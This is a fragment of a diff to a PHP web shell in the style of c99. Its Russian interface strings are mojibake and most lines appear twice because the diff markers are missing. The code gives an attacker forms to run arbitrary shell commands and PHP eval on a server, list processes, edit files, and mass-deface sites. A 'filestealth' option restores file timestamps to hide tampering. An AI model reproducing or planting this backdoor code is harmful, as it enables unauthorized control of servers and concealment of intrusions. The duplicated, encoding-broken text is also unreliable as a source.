echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Âûðàçàòü</option>";
echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Êîïèðîâàòü</option>";
echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Íåâûáðàòü</option>";
}
if ($dspact == "massdeface") {echo "<option value=\"deface\"".gchds($dspact,"deface"," selected").">Íåâûáðàòü</option>";}
echo "</select>&nbsp;<input type=\"submit\" value=\"Ïîäòâåðäèòü\">";
if ($dspact == "massdeface") {echo "<option value=\"deface\"".gchds($dspact,"deface"," selected").">Íåâûáðàòü</option>";}
echo "</select>&nbsp;<input type=\"submit\" value=\"Ïîäòâåðäèòü\">";
echo "</form>";
echo "</td></tr></table>";
@ -1728,7 +1728,7 @@ if ($act == "cmd")
{
if (!empty($submit))
{
echo "<b>Ðåçóëüòàò âûïîëíåíèÿ ýòà êîìàíäà</b>:<br>";
echo "<b>Ðåçóëüòàò âûïîëíåíèÿ ýòà êîìàíäà</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
@ -1761,12 +1761,12 @@ else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>Êîìàíäà âûïîëíåíèÿ:</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Âûïîëíèòü\"><input type=\"hidden\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
else {echo "<b>Êîìàíäà âûïîëíåíèÿ:</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
echo "<form action=\"".$sul."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Âûïîëíèòü\"><input type=\"hidden\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
if ($act == "ps_aux")
{
echo "<b>Ïðîöåññû:</b><br>";
echo "<b>Ïðîöåññû:</b><br>";
if ($win) {
echo "<pre>";
system('tasklist');
@ -1818,7 +1818,7 @@ if ($act == "eval")
{
if (!empty($eval))
{
echo "<b>Ðåçóëüòàò âûïîëíåíèÿ ýòîò PHP-êîä</b>:<br>";
echo "<b>Ðåçóëüòàò âûïîëíåíèÿ ýòîò PHP-êîä</b>:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
@ -1851,8 +1851,8 @@ else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>PHP-êîä âûïîëíåíèÿ</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Âûïîëíèòü\"></form>";
else {echo "<b>PHP-êîä âûïîëíåíèÿ</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Âûïîëíèòü\"></form>";
}
if ($act == "f")
{
@ -1876,8 +1876,8 @@ if (in_array($ext,$v)) {$rft = $k; break;}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
echo "<b>Ðàññìîòðåíèå ôàéëà:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$sul."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
if (is_writable($d.$f)) {echo "<font color=\"green\">Ïîëíûé äîñòóï ÷òåíèÿ/çàïèñè (".view_perms(fileperms($d.$f)).")</font>";}
echo "<b>Ðàññìîòðåíèå ôàéëà:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$sul."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
if (is_writable($d.$f)) {echo "<font color=\"green\">Ïîëíûé äîñòóï ÷òåíèÿ/çàïèñè (".view_perms(fileperms($d.$f)).")</font>";}
else {echo "<font color=\"red\">Read-Only (".view_perms(fileperms($d.$f)).")</font>";}
echo "<hr size=\"1\" noshade>";
@ -2102,7 +2102,7 @@ if (!empty($submit))
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Ñîõðàí¸íü!!!</b>";
echo "<b>Ñîõðàí¸íü!!!</b>";
fwrite($fp,$nfcontent);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
@ -2113,7 +2113,7 @@ $rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Ñîõðàíèòü\">&nbsp;<input type=\"reset\" value=\"Ñáðîñ\">&nbsp;<br><textarea name=\"nfcontent\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Ñîõðàíèòü\">&nbsp;<input type=\"reset\" value=\"Ñáðîñ\">&nbsp;<br><textarea name=\"nfcontent\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
}
elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
@ -2917,7 +2917,7 @@ echo $u.":<img src=\"".$sul."act=img&img=".$u."\" border=\"1\"><br>";
}
if ($act == "about")
{
$dàta = "Any stupid copyrights and copylefts";
$dàta = "Any stupid copyrights and copylefts";
echo $data;
}